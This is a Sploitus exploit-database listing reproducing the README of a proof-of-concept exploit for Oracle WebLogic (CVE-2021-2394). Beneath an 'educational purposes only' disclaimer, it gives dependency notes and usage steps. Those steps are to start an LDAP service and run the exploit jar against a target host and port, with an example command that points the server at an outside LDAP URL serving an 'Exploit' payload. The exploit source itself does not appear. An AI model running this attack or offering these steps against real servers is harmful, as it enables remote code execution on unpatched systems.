Sploitus

Exploit for CVE-2021-2394 CVE-2020-14756 CVE-2021-2394

githubexploit · 2021-08-02

Exploit Code

README20 lines
## https://sploitus.com/exploit?id=3392AC7A-43B9-5F64-9B90-F5C13D25FEC1
# CVE-2021-2394

POC for CVE-2021-2394

- Disclaimer
  - This project is for educational purposes only. Any direct or indirect consequences or losses caused by unauthorized testing are the responsibility of the user.

* Notes
  * The POC uses IIOP for communication; please add the necessary dependencies (dependencies for version 12.2.1.3.0 have been added to the release section).
  * Please use a lower version of JDK to test with WebLogic.

* Usage:
  * Start a LDAP service.
  * `java -jar CVE_2021_2394.jar rhost rport ldapurl`
  * Example: `java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit`

* Reference links:
  * https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
  * https://github.com/Y4er/CVE-2020-14756